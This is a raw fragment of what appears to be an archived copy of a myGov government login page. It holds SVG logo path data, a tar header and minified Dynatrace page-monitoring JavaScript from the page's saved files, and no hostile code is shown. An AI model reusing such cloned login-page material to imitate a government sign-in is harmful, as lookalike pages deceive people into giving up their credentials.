151.54 39.8 151.08 39.75 151.3 40.16 151.3 40.16"/><polygon class="cls-1" points="152.48 42.37 152.21 42.39 152.06 42.12 151.9 42.4 151.63 42.37 151.76 42.6 151.56 42.81 151.82 42.86 151.82 43.15 152.06 42.97 152.3 43.15 152.3 42.86 152.55 42.81 152.36 42.6 152.48 42.37 152.48 42.37"/><polygon class="cls-1" points="150.52 43.12 149.71 43.18 149.23 42.35 148.75 43.2 147.96 43.12 148.33 43.81 147.72 44.45 148.5 44.59 148.5 45.46 149.23 44.91 149.97 45.46 149.97 44.59 150.75 44.45 150.14 43.81 150.52 43.12 150.52 43.12"/><polygon class="cls-1" points="147.15 10.11 146.88 14.58 150.19 11.58 153.49 14.58 153.22 10.11 157.61 9.38 153.97 6.8 156.14 2.89 151.88 4.15 150.19 0 148.51 4.15 144.23 2.89 146.4 6.8 142.77 9.38 147.15 10.11 147.15 10.11"/><path class="cls-1" d="M152.2,117.05l.63,2.66a1.49,1.49,0,0,0,1,1.28,3.47,3.47,0,0,0,2,0,3.11,3.11,0,0,0,1.73-1,2.27,2.27,0,0,0,.17-1.67l-.6-2.53c-.13-.53.07-.67.58-.86l0-.2-2.09.5,0,.2c.82-.17,1,.08,1.12.56l.57,2.44a1.54,1.54,0,0,1-1.28,2.13c-1.37.32-1.62-.77-1.73-1.23l-.63-2.65c-.16-.71.13-.78.75-1l-.05-.2-3.21.77.05.2c.54-.08.79-.12.95.55Z" transform="translate(-23 -22)"/><path class="cls-1" d="M160.55,117.55l.7.11c.67.11,1.16.2,1.28.73,0,.11.15.91-1,1.16a2,2,0,0,1-2.34-1.27l-.27.06.43,2,.28-.07c0-.13,0-.29.23-.33a9.12,9.12,0,0,0,1.69-.09c1.75-.4,2.14-1.5,2-2.2a1.68,1.68,0,0,0-1.37-1.24l-1.53-.27c-.88-.16-1.1-.29-1.19-.72s.36-.88.86-1a2,2,0,0,1,2.18,1.06l.27-.06-.38-1.73-.28.06c0,.16,0,.29-.26.34a8.66,8.66,0,0,0-1.55.07c-1.81.4-1.86,1.56-1.75,2s.23,1.06,2,1.36Z" transform="translate(-23 -22)"/><path class="cls-1" d="M164.05,115.18c.07-1.33,1.07-1.46,1.74-1.56l.41,4.3c.07.68-.17.72-.87.84l0,.2,3.47-.33,0-.21c-.73,0-1,0-1-.65l-.41-4.3c.67,0,1.68-.09,2,1.19l.28,0-.18-1.64-5.83.56.13,1.65.28,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M173.52,118.36c-.65-.09-.86-.12-.85-.77l0-1.61H173l2,2.6,1.83,0h0l2,.24,0-.2c-.33-.06-.79-.14-.76-.45a5.59,5.59,0,0,1,.56-1l2.18.28a4.09,4.09,0,0,1,.31,1.13c0,.27-.21.26-.82.22l0,.21,3.14.39,0-.21c-.46,0-.58-.33-.91-1.25l-1.63-4.55-.28,0-2.69,4.18c-.35.54-.53.79-1,.82a.43.43,0,0,1-.31-.16l-1.91-2.36c.53-.13,1.54-.37,1.55-1.38,0-1.37-2-1.48-2.72-1.49l-3.14-.06v.2c.55,0,.85.07.84.78l-.07,3.61c0,.67-.21.69-.87.74v.21l3.29.06v-.2Zm6.37-3.3.73,2.1-1.88-.24,1.15-1.86Zm-7.14-1.43c.05-.25.07-.34.61-.34a1,1,0,0,1,1.16,1.21c0,1.06-.53,1.24-1.81,1.22l0-2.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M189.75,118.85l-.29,0a2.38,2.38,0,0,1-2.71,1.13c-.64-.12-.84-.22-.77-.61l.69-3.8c.13-.71.42-.66,1.1-.57l0-.19-3.35-.62,0,.2c.43.1.82.19.72.72l-.7,3.91c-.1.49-.39.46-.93.41l0,.21,5.55,1,.73-1.76Z" transform="translate(-23 -22)"/><path class="cls-1" d="M189.36,120.73l3.34.7,0-.2c-.51-.14-.89-.24-.79-.76l.81-3.88c.11-.54.57-.46,1-.38l.05-.19-3.35-.71,0,.2c.43.12.88.23.77.76l-.81,3.88c-.1.49-.48.45-1,.38l0,.2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M192.91,121.41l0,.2,2,.21,0-.21c-.33,0-.8-.12-.77-.42a4.88,4.88,0,0,1,.54-1l2.19.22a4.28,4.28,0,0,1,.33,1.13c0,.27-.2.26-.81.24l0,.2,3.15.33,0-.2c-.47,0-.6-.33-.94-1.25l-1.73-4.5-.27,0L194,120.56c-.35.58-.51.84-1,.85Zm3-3.42.78,2.08-1.89-.2,1.11-1.88Z" transform="translate(-23 -22)"/><path class="cls-1" d="M171.48,57.26v.58a.28.28,0,0,0,.27.28h2.09a.29.29,0,0,0,.28-.28v-.63a1.3,1.3,0,0,0,.42-1c0-2-1.11-.12-1.72-1.8-.44,1.42-1.77.23-1.77,1.75a1.2,1.2,0,0,0,.43,1.1Zm1.23-1.71c.57,0,1.47-.21,1.47.75,0,.68-.78.29-1.35.29s-1.35.39-1.35-.29c0-1,.66-.75,1.23-.75Z" transform="translate(-23 -22)"/><path class="cls-1" d="M191.66,80.36a.8.8,0,1,0,0-1.59.8.8,0,1,0,0,1.59Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.42,52.53a.45.45,0,0,0,.43-.47s-.43-.85-.43-.85a4.75,4.75,0,0,0-.43.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.52,52.53a.45.45,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M165.75,52.53a.45.45,0,0,0,.42-.47s-.43-.85-.43-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M173,52.53a.45.45,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.19,52.53a.45.45,0,0,0,.43-.47s-.43-.85-.43-.85a4.75,4.75,0,0,0-.43.85.46.46,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.09,62a.46.46,0,0,0,.43.47A.45.45,0,0,0,159,62a5.17,5.17,0,0,0-.42-.85s-.44.83-.44.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.09,71.62a.46.46,0,0,0,.43.47.45.45,0,0,0,.43-.47,4.8,4.8,0,0,0-.42-.85s-.44.83-.44.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M159.25,79.24a.45.45,0,0,0,.42.47.46.46,0,0,0,.44-.47,5,5,0,0,0-.43-.84l-.43.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M165.31,83.3a.43.43,0,1,0,.86,0,5.12,5.12,0,0,0-.43-.85l-.43.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.36,62a.45.45,0,0,0,.43.47.46.46,0,0,0,.43-.47s-.44-.85-.44-.85a5.17,5.17,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.36,71.62a.45.45,0,0,0,.43.47.46.46,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M186.2,79.24a.43.43,0,1,0,.86,0l-.44-.84a5,5,0,0,0-.42.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.14,83.3a.45.45,0,0,0,.43.48.46.46,0,0,0,.43-.48l-.44-.85a5.17,5.17,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M172.76,87.6a.43.43,0,1,0,.86,0l-.43-.84a5,5,0,0,0-.43.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M179.89,75.35c-.4.83-.4,2-1.35,2.43a.75.75,0,0,0-.28.73l.23.19c.59-.32,1.72-.42,1.64-1.42a3.42,3.42,0,0,1,.86-1.19.94.94,0,0,1,1,.5A1.8,1.8,0,0,1,180.8,78c-.08.09,0,.23,0,.37.18.32.68.18,1,.14.77-.51,1.09-1.42,1.77-1.7.09.46-.91.6-.27,1,.41-.09.95.05,1.23-.5-.32-.78,1.08-1.14.22-1.83,0-.68.73-1,.69-1.69-.28-.74-1.14-.74-1.37-1.42a1,1,0,0,1,.95,0c.09.14.32.18.61.08l.27-.78c0-.05-.31-.36-.51-.31-.77.18-1.59.28-2.05,1a1.53,1.53,0,0,0,.73,1.19c.27-.09.32.18.5.32a.32.32,0,0,1-.32.41c-.54-.55-1.5.18-1.91-.5.19-.69.55-1.47,0-2.11,0-.14.27-.27.14-.41-.23-.64-.92-.14-1.33-.14a1.77,1.77,0,0,0-1.64.82,1.35,1.35,0,0,0,.37.69c.18,0,.27,0,.32.19l-.46.27a.9.9,0,0,1,.18.51c-.31.13-.63-.33-.77-.56s.05-1-.45-1.1a2,2,0,0,0-.4.14,1.32,1.32,0,0,0-.18.76,3.21,3.21,0,0,0,.17.81,7.69,7.69,0,0,1,1.72,1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M151.74,79.12a.8.8,0,1,0,0,1.59.8.8,0,1,0,0-1.59Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104,107.23a.89.89,0,1,0,.89-.85.87.87,0,0,0-.89.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M145.86,122.61l0,.2,2-.23,0-.21c-.32,0-.79,0-.83-.25a4.87,4.87,0,0,1,.31-1.1l2.18-.26a4.48,4.48,0,0,1,.57,1c0,.28-.14.3-.74.41l0,.21,3.15-.37,0-.2c-.47.07-.65-.19-1.19-1l-2.66-4-.27,0-1.64,4.7c-.22.65-.32.94-.84,1.07Zm2.23-4,1.21,1.86-1.89.23.68-2.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M542,109.18H547v-19a13.49,13.49,0,0,1,3.47-2.93,7.75,7.75,0,0,1,4-1.16,5.33,5.33,0,0,1,4.28,1.67c1,1.11,1.42,2.84,1.42,5.17v16.2h5.06v-17q0-5.28-2.42-8t-7-2.72a10.6,10.6,0,0,0-5.35,1.3,14.06,14.06,0,0,0-4.12,3.6l.7,1.46V82.05H542v27.13Zm22.87-19a15.51,15.51,0,0,1,3.64-2.88,8.36,8.36,0,0,1,4.22-1.16,5.26,5.26,0,0,1,4.23,1.67c1,1.11,1.42,2.84,1.42,5.17v16.2h5.06v-17c0-3.52-.8-6.19-2.42-8s-4-2.72-7-2.72a11.65,11.65,0,0,0-5.52,1.27,18.28,18.28,0,0,0-4.66,3.63l1,3.77Zm26.43,30.63a9.9,9.9,0,0,0,7-2.59q2.81-2.58,5.06-8.45l11.09-27.72H609l-7.65,20.19-8.61-20.19h-5.6l12.22,27.56.11-3.55-1,2.58a14.29,14.29,0,0,1-3.66,5.79,7.28,7.28,0,0,1-4.79,1.69h-.27l1,4.69Zm54.07-12a31.32,31.32,0,0,0,6.43-2.58V90h-13v4.79h7.64v7.8a18.29,18.29,0,0,1-3.82,1.38,22.55,22.55,0,0,1-5.22.51,14.62,14.62,0,0,1-7.35-1.81,12.63,12.63,0,0,1-5-5.06,15.45,15.45,0,0,1-1.77-7.5A16,16,0,0,1,625,82.54a12.88,12.88,0,0,1,4.74-5.09,12.64,12.64,0,0,1,6.65-1.8,12.24,12.24,0,0,1,6.16,1.48,16.46,16.46,0,0,1,4.66,4l4.3-3.29a18.21,18.21,0,0,0-6.35-5.43,18.56,18.56,0,0,0-8.72-2,19,19,0,0,0-9.58,2.45A17.69,17.69,0,0,0,620,79.82a20.9,20.9,0,0,0-2.5,10.31,20.6,20.6,0,0,0,2.48,10.2,17.43,17.43,0,0,0,7,6.91,21.2,21.2,0,0,0,10.41,2.48,30.08,30.08,0,0,0,7.94-.92Zm35.34-.88a13,13,0,0,0,5.11-5,15.46,15.46,0,0,0,0-14.59,12.94,12.94,0,0,0-5.11-5,16.38,16.38,0,0,0-15,0,13.08,13.08,0,0,0-5.14,5,15.19,15.19,0,0,0,0,14.53,13.11,13.11,0,0,0,5.14,5,16.46,16.46,0,0,0,15,0Zm-12.22-4.12a8.42,8.42,0,0,1-3.28-3.31,10.56,10.56,0,0,1,0-9.74,8.38,8.38,0,0,1,3.28-3.32,10.09,10.09,0,0,1,9.47,0,8.32,8.32,0,0,1,3.26,3.29,10.8,10.8,0,0,1,0,9.74A8.25,8.25,0,0,1,678,103.8a10.15,10.15,0,0,1-9.5,0Zm32.19,5.38h4.52l11.3-27.13h-5.33l-9,22.45h1.62l-8.88-22.45h-5.6l11.36,27.13Z" transform="translate(-23 -22)"/></svg>mygov/app/login_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download000064400000736201151676702570022242 0ustar00/* Copyright and licenses see https://www.dynatrace.com/company/trust-center/customers/reports/*/ (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(){document.cookie="".concat("__dTCookie","=").concat("1",";SameSite=Lax");var Ua=-1!==document.cookie.indexOf("__dTCookie");document.cookie="".concat("__dTCookie","=").concat("1","; expires=Thu, 01-Jan-1970 00:00:01 GMT");return Ua}function La(){return void 0===db.dialogArguments?navigator.cookieEnabled||ra():ra()}function gb(){var Ua;if(La()&&!window.dT_){var Pa= (Ua={},Ua.cfg="#CONFIGSTRING#|auto=#AUTO#|domain=#DOMAIN#|rid=RID_#REQUEST_ID#|rpid=#RESPONSE_ID#|app=#APP#",Ua.iCE=La,Ua);window.dT_=Pa}}var db="undefined"!==typeof window?window:self,Ea;db.dT_?(null===(Ea=db.console)||void 0===Ea?void 0:Ea.log("Duplicate agent injection detected, turning off redundant initConfig."),db.dT_.di=1):gb()})()})(); /* Copyright and licenses see https://www.dynatrace.com/company/trust-center/customers/reports/*/ (function(){"undefined"!==typeof window&&window.setTimeout&&(window.setTimeout=window.setTimeout);this.dT_&&dT_.prm&&dT_.prm();(function(){function ra(k,w,M){void 0===M&&(M=0);var A=-1;w&&(null===k||void 0===k?0:k.indexOf)&&(A=k.indexOf(w,M));return A}function La(){var k;return!(null===(k=Bb.console)||void 0===k||!k.log)}function gb(k,w){if(!w)return"";var M=k+"=";k=ra(w,M);if(0>k)return"";for(;0<=k;){if(0===k||" "===w.charAt(k-1)||";"===w.charAt(k-1))return M=k+M.length,k=ra(w,";",k),0<=k?w.substring(M, k):w.substring(M);k=ra(w,M,k+M.length)}return""}function db(k){return gb(k,document.cookie)}function Ea(){}function Ua(){var k=0;try{k=Math.round(Bb.performance.timeOrigin)}catch(w){}if(0>=k||isNaN(k)||!isFinite(k)){k=0;try{k=Bb.performance.timing.navigationStart}catch(w){}k=0>=k||isNaN(k)||!isFinite(k)?Jd:k}tg=k;J=Pa;return tg}function Pa(){return tg}function za(){return J()}function ab(){var k,w=0;if(null===(k=null===Bb||void 0===Bb?void 0:Bb.performance)||void 0===k?0:k.now)try{w=Math.round(Bb.performance.now())}catch(M){}return 0>= w||isNaN(w)||!isFinite(w)?(new Date).getTime()-J():w}function ba(k,w){void 0===w&&(w=document.cookie);return gb(k,w)}function Z(){}function Aa(k,w){return function(){k.apply(w,arguments)}}function na(k){if(!(this instanceof na))throw new TypeError("Promises must be constructed via new");if("function"!==typeof k)throw new TypeError("not a function");this.ka=0;this.oc=!1;this.sa=void 0;this.Ha=[];va(k,this)}function ta(k,w){for(;3===k.ka;)k=k.sa;0===k.ka?k.Ha.push(w):(k.oc=!0,na.Jb(function(){var M= 1===k.ka?w.xe:w.ye;if(null===M)(1===k.ka?Ma:Ja)(w.promise,k.sa);else{try{var A=M(k.sa)}catch(Ta){Ja(w.promise,Ta);return}Ma(w.promise,A)}}))}function Ma(k,w){try{if(w===k)throw new TypeError("A promise cannot be resolved with itself.");if(w&&("object"===typeof w||"function"===typeof w)){var M=w.then;if(w instanceof na){k.ka=3;k.sa=w;fa(k);return}if("function"===typeof M){va(Aa(M,w),k);return}}k.ka=1;k.sa=w;fa(k)}catch(A){Ja(k,A)}}function Ja(k,w){k.ka=2;k.sa=w;fa(k)}function fa(k){2===k.ka&&0===k.Ha.length&& na.Jb(function(){k.oc||na.Qc(k.sa)});for(var w=0,M=k.Ha.length;w<M;w++)ta(k,k.Ha[w]);k.Ha=null}function S(k,w,M){this.xe="function"===typeof k?k:null;this.ye="function"===typeof w?w:null;this.promise=M}function va(k,w){var M=!1;try{k(function(A){M||(M=!0,Ma(w,A))},function(A){M||(M=!0,Ja(w,A))})}catch(A){M||(M=!0,Ja(w,A))}}function ja(){K.Jb=function(k){if("string"===typeof k)throw Error("Promise polyfill called _immediateFn with string");k()};K.Qc=function(){};return K}function U(k,w){return parseInt(k, w||10)}function eb(k){return document.getElementsByTagName(k)}function L(k){var w=k.length;if("number"===typeof w)k=w;else{w=0;for(var M=2048;k[M-1];)w=M,M+=M;for(var A=7;1<M-w;)A=(M+w)/2,k[A-1]?w=A:M=A;k=k[A]?M:w}return k}function C(k){for(var w=[],M=1;M<arguments.length;M++)w[M-1]=arguments[M];k.push.apply(k,w)}function H(k){k=encodeURIComponent(k);var w=[];if(k)for(var M=0;M<k.length;M++){var A=k.charAt(M);C(w,Fa[A]||A)}return w.join("")}function Q(k){-1<ra(k,"^")&&(k=k.split("^^").join("^"),k= k.split("^dq").join('"'),k=k.split("^rb").join(">"),k=k.split("^lb").join("<"),k=k.split("^p").join("|"),k=k.split("^e").join("="),k=k.split("^s").join(";"),k=k.split("^c").join(","),k=k.split("^bs").join("\\"));return k}function ia(k,w){if(!k||!k.length)return-1;if(k.indexOf)return k.indexOf(w);for(var M=k.length;M--;)if(k[M]===w)return M;return-1}function W(k,w){var M;void 0===w&&(w=[]);if(!k||"object"!==typeof k&&"function"!==typeof k)return!1;var A="number"!==typeof w?w:[],Ta=null,xb=[];switch("number"=== typeof w?w:5){case 0:Ta="Array";xb.push("push");break;case 1:Ta="Boolean";break;case 2:Ta="Number";break;case 3:Ta="String";break;case 4:Ta="Function";break;case 5:Ta="Object";break;case 6:Ta="Date";xb.push("getTime");break;case 7:Ta="Error";xb.push("name","message");break;case 8:Ta="Element";break;case 9:Ta="HTMLElement";break;case 10:Ta="HTMLImageElement";xb.push("complete");break;case 11:Ta="PerformanceEntry";break;case 12:Ta="PerformanceTiming";break;case 13:Ta="PerformanceResourceTiming";break; case 14:Ta="PerformanceNavigationTiming";break;case 15:Ta="CSSRule";xb.push("cssText","parentStyleSheet");break;case 16:Ta="CSSStyleSheet";xb.push("cssRules","insertRule");break;case 17:Ta="Request";xb.push("url");break;case 18:Ta="Response";xb.push("ok","status","statusText");break;case 19:Ta="Set";xb.push("add","entries","forEach");break;case 20:Ta="Map";xb.push("set","entries","forEach");break;case 21:Ta="Worker";xb.push("addEventListener","postMessage","terminate");break;case 22:Ta="XMLHttpRequest"; xb.push("open","send","setRequestHeader");break;case 23:Ta="SVGScriptElement";xb.push("ownerSVGElement","type");break;case 24:Ta="HTMLMetaElement";xb.push("httpEquiv","content","name");break;case 25:Ta="HTMLHeadElement";break;case 26:Ta="ArrayBuffer";break;case 27:Ta="ShadowRoot",xb.push("host","mode")}w=Ta;if(!w)return!1;xb=xb.length?xb:A;if(!A.length)try{if(Bb[w]&&k instanceof Bb[w]||Object.prototype.toString.call(k)==="[object "+w+"]")return!0;if(k&&k.nodeType&&1===k.nodeType){var ec=null===(M= k.ownerDocument.defaultView)||void 0===M?void 0:M[w];if("function"===typeof ec&&k instanceof ec)return!0}}catch(uc){}for(M=0;M<xb.length;M++)if(A=xb[M],"string"!==typeof A&&"number"!==typeof A&&"symbol"!==typeof A||!(A in k))return!1;return!!xb.length}function la(k,w,M,A){"undefined"===typeof A&&(A=Ka(w,!0));"boolean"===typeof A&&(A=Ka(w,A));if(k===Bb)Ya?Ya(w,M,A):Pb&&Pb("on"+w,M);else if(cc&&W(k,21))lc.call(k,w,M,A);else if(k.addEventListener)if(k===Bb.document||k===Bb.document.documentElement)Sb.call(k, w,M,A);else try{Ya.call(k,w,M,A)}catch(ec){k.addEventListener(w,M,A)}else k.attachEvent&&k.attachEvent("on"+w,M);A=!1;for(var Ta=$c.length;0<=--Ta;){var xb=$c[Ta];if(xb.object===k&&xb.event===w&&xb.da===M){A=!0;break}}A||C($c,{object:k,event:w,da:M})}function ua(k,w,M,A){for(var Ta=$c.length;0<=--Ta;){var xb=$c[Ta];if(xb.object===k&&xb.event===w&&xb.da===M){$c.splice(Ta,1);break}}"undefined"===typeof A&&(A=Ka(w,!0));"boolean"===typeof A&&(A=Ka(w,A));k===Bb?tb?tb(w,M,A):Pb&&Pb("on"+w,M):k.removeEventListener? k===Bb.document||k===Bb.document.documentElement?Ub.call(k,w,M,A):tb.call(k,w,M,A):k.detachEvent&&k.detachEvent("on"+w,M)}function Ka(k,w){var M=!1;try{if(Ya&&-1<ia(Vd,k)){var A=Object.defineProperty({},"passive",{get:function(){M=!0}});Ya("test",Ea,A)}}catch(Ta){}return M?{passive:!0,capture:w}:w}function Hb(){for(var k=$c,w=k.length;0<=--w;){var M=k[w];ua(M.object,M.event,M.da)}$c=[]}function ib(k,w,M){if(M||2===arguments.length)for(var A=0,Ta=w.length,xb;A<Ta;A++)!xb&&A in w||(xb||(xb=Array.prototype.slice.call(w, 0,A)),xb[A]=w[A]);return k.concat(xb||Array.prototype.slice.call(w))}function aa(k){return"function"===typeof k&&/{\s+\[native code]/.test(Function.prototype.toString.call(k))}function qa(k,w){for(var M,A=[],Ta=2;Ta<arguments.length;Ta++)A[Ta-2]=arguments[Ta];return void 0!==Function.prototype.bind&&aa(Function.prototype.bind)?(M=Function.prototype.bind).call.apply(M,ib([k,w],A,!1)):function(){for(var xb=0;xb<arguments.length;xb++);return k.apply(w,(A||[]).concat(Array.prototype.slice.call(arguments)|| []))}}function V(){if(yd){var k=new yd;if(Kd)for(var w=0,M=ie;w<M.length;w++){var A=M[w];void 0!==Kd[A]&&(k[A]=qa(Kd[A],k))}return k}return dd?new dd("MSXML2.XMLHTTP.3.0"):Bb.XMLHttpRequest?new Bb.XMLHttpRequest:new Bb.ActiveXObject("MSXML2.XMLHTTP.3.0")}function pa(){document.cookie="".concat("__dTCookie","=").concat("1",";SameSite=Lax");var k=-1!==document.cookie.indexOf("__dTCookie");document.cookie="".concat("__dTCookie","=").concat("1","; expires=Thu, 01-Jan-1970 00:00:01 GMT");return k}function Va(){return void 0=== Bb.dialogArguments?navigator.cookieEnabled||pa():pa()}function nb(){return Ne}function lb(k){Ne=k}function jb(k){var w=I("rid"),M=I("rpid");w&&(k.rid=w);M&&(k.rpid=M)}function Ab(k){if(k=k.xb){k=Q(k);try{Ne=new RegExp(k,"i")}catch(w){}}else Ne=void 0}function gc(k){return"n"===k||"s"===k||"l"===k?";SameSite=".concat(ig[k]):""}function Vb(k,w,M){var A=1,Ta=0;do document.cookie=k+'=""'+(w?";domain="+w:"")+";path="+M.substring(0,A)+"; expires=Thu, 01 Jan 1970 00:00:01 GMT;",A=M.indexOf("/",A),Ta++;while(-1!== A&&5>Ta)}function Ha(k){var w={},M=0;for(k=k.split("|");M<k.length;M++){var A=k[M].split("=");2===A.length&&(w[A[0]]=decodeURIComponent(A[1].replace(/\+/g," ")))}return w}function yb(){var k=I("csu");return(k.indexOf("dbg")===k.length-3?k.substring(0,k.length-3):k)+"_"+I("app")+"_Store"}function vb(k,w,M){void 0===w&&(w={});var A=0;for(k=k.split("|");A<k.length;A++){var Ta=k[A],xb=Ta,ec=ra(Ta,"=");-1===ec?w[xb]="1":(xb=Ta.substring(0,ec),w[xb]=Ta.substring(ec+1,Ta.length))}!M&&(M=w,A=M.spc)&&(k=document.createElement("textarea"), k.innerHTML=A,M.spc=k.value);return w}function ca(k){var w;return null!==(w=xc[k])&&void 0!==w?w:Yc[k]}function Oa(k){k=ca(k);return"false"===k||"0"===k?!1:!!k}function Za(k){var w=ca(k);w=U(w);isNaN(w)&&(w=Yc[k]);return w}function I(k){return String(ca(k)||"")}function ka(k,w){xc[k]=String(w)}function Ba(k){return xc=k}function $a(k){xc[k]=0>ra(xc[k],"#"+k.toUpperCase())?xc[k]:""}function Cb(k){var w=k.agentUri;w&&-1<ra(w,"_")&&(w=/([a-zA-Z]*)[0-9]{0,4}_([a-zA-Z_0-9]*)_[0-9]+/g.exec(w))&&w.length&& 2<w.length&&(k.csu=w[1],k.featureHash=w[2])}function bd(k){var w=k.domain||"";var M=(M=location.hostname)&&w?M===w||-1!==M.indexOf("."+w,M.length-("."+w).length):!0;if(!w||!M){k.domainOverride||(k.domainOriginal=k.domain||"",k.domainOverride="".concat(location.hostname,",").concat(w),delete k.domain);var A=I("cssm");var Ta=document.domain||"";if(Ta){Ta=Ta.split(".").reverse();var xb=Ta.length;if(1>=xb)A="";else{for(var ec=Ta[0],uc="",qc=1;qc<=xb;qc++)if(ba("dTValidationCookie")){uc=ec;break}else{Ta[qc]&& (ec="".concat(Ta[qc],".").concat(ec));var ud="".concat("dTValidationCookie","=dTValidationCookieValue;path=/;domain=").concat(ec);ud+=gc(A);document.cookie=ud}Vb("dTValidationCookie",uc,"/");A=uc}}else A="";A&&(k.domain=A);M||C(me,{type:"dpi",severity:"Warning",text:'Configured domain "'.concat(w,'" is invalid for current location "').concat(location.hostname,'". Agent will use "').concat(k.domain,'" instead.')})}}function Qb(k,w){bd(k);var M=xc.pVO;M&&(k.pVO=M);w||(w=k.bp||Yc.bp,k.bp2&&(w=2),k.bp= String(w))}function Zb(){return xc}function q(k){return Yc[k]===ca(k)}function D(){if(Bb.MobileAgent||Bb.dynatraceMobile){var k=db("dtAdkSettings");return Vf.dT_.p3SC(k).privacyState||null}return null}function t(){var k=D();return 2===k||1===k?!1:!Vf.dT_.bcv("coo")||Vf.dT_.bcv("cooO")||Vf.dT_.iSM()}function y(k,w){return!t()||Bb.dT_.overloadPrevention&&!mc()?null:k.apply(this,w||[])}function Y(k,w){try{var M=Ld;M&&M.setItem(k,w)}catch(A){}}function x(k,w){y(Y,[k,w])}function oa(k){try{var w=Ld;if(w)return w.getItem(k)}catch(M){}return null} function R(k){try{var w=Ld;w&&w.removeItem(k)}catch(M){}}function O(k){document.cookie=k+'="";path=/'+(I("domain")?";domain="+I("domain"):"")+"; expires=Thu, 01 Jan 1970 00:00:01 GMT;"}function wa(k,w,M,A){Oe=!0;w||0===w?(w=String(w).replace(/[;\n\r]/g,"_"),k=k+"="+w+";path=/"+(I("domain")?";domain="+I("domain"):""),M&&(k+=";expires="+M.toUTCString()),k+=gc(I("cssm")),A&&"https:"===location.protocol&&(k+=";Secure"),document.cookie=k):O(k);Oe=!1}function Ga(k,w,M,A){y(wa,[k,w,M,A])}function Wa(k){return-1=== ra(k,"v_4")?!1:!0}function Eb(k){k=ba("dtCookie",k);k||((k=oa("dtCookie"))&&Wa(k)?Lb(k):k="");return Wa(k)?k:""}function Lb(k){Ga("dtCookie",k,void 0,Oa("ssc"))}function Nb(k){return(k=k||Eb())?Oc(k):{sessionId:"",serverId:"",overloadState:0}}function ac(k){return Nb(k).serverId}function rc(k){return Nb(k).sessionId}function mc(){return 0<=ra(navigator.userAgent,"RuxitSynthetic")}function Oc(k){var w={sessionId:"",serverId:"",overloadState:0},M=k.split("_");if(2<M.length&&0===M.length%2){k=Number(M[1]); if(isNaN(k)||3>k)return w;k={};for(var A=2;A<M.length;A++)k[M[A]]=M[A+1],A++;k.sn?(M=k.sn,M=M.length===cd||12>=M.length?M:""):M="hybrid";w.sessionId=M;if(k.srv){a:{M=k.srv.replace("-2D","-");if(!isNaN(Number(M))&&(A=U(M),-99<=A&&99>=A))break a;M=""}w.serverId=M}M=Number(k.ol);if(1===M){A=mc();var Ta=Bb.dT_;A||(x("dtDisabled","true"),Ta.disabled=!0,Ta.overloadPrevention=!0)}0<=M&&2>=M&&(w.overloadState=M);k=Number(k.prv);isNaN(k)||(w.privacyState=1>k||4<k?1:k)}return w}function Kc(){return Vc()}function gd(k, w){function M(){delete Bg[xb];k.apply(this,arguments)}for(var A=[],Ta=2;Ta<arguments.length;Ta++)A[Ta-2]=arguments[Ta];if("apply"in Ee){A.unshift(M,w);var xb=Ee.apply(Bb,A)}else xb=Ee(M,w);Bg[xb]=!0;return xb}function ma(k){delete Bg[k];"apply"in Fe?Fe.call(Bb,k):Fe(k)}function Ca(k){C(tf,k)}function Ra(k){for(var w=tf.length;w--;)if(tf[w]===k){tf.splice(w,1);break}}function Sa(){return tf}function Db(k,w){return mi(k,w)}function Yb(k){Ge(k)}function Na(k,w){if(!Wd||!jg)return"";k=new Wd([k],{type:w}); return jg(k)}function oc(k,w){return je?new je(k,w):void 0}function rb(k){"function"===typeof k&&C(Wf,k)}function wb(){return Wf}function pc(){return Jd}function Sc(k){return function(){for(var w=[],M=0;M<arguments.length;M++)w[M]=arguments[M];if("number"!==typeof w[0]||!Bg[w[0]])try{return k.apply(this,w)}catch(A){return k(w[0])}}}function ed(){return me}function $b(){J=Ua;Bb.performance&&(Vc=function(){return Math.round(J()+ab())});if(!Vc||isNaN(Vc())||0>=Vc()||!isFinite(Vc()))Vc=function(){return(new Date).getTime()}} function Ac(){kg&&(Bb.clearTimeout=Fe,Bb.clearInterval=Ge,kg=!1)}function Ic(k,w){try{Bb.localStorage&&Bb.localStorage.setItem(k,w)}catch(M){}}function Nc(k){try{Bb.localStorage&&Bb.localStorage.removeItem(k)}catch(w){}}function qd(){Nc("rxec");Nc("rxvisitid");Nc("rxvt")}function ad(k){t()?k():(Cf||(Cf=[]),C(Cf,k))}function dc(k){return y(k)}function Lc(){if(Oa("coo")&&!t()){for(var k=0,w=Cf;k<w.length;k++)gd(w[k],0);Cf=[];ka("cooO",!0)}}function jd(){if(Oa("coo")&&t()){ka("cooO",!1);O("dtCookie"); 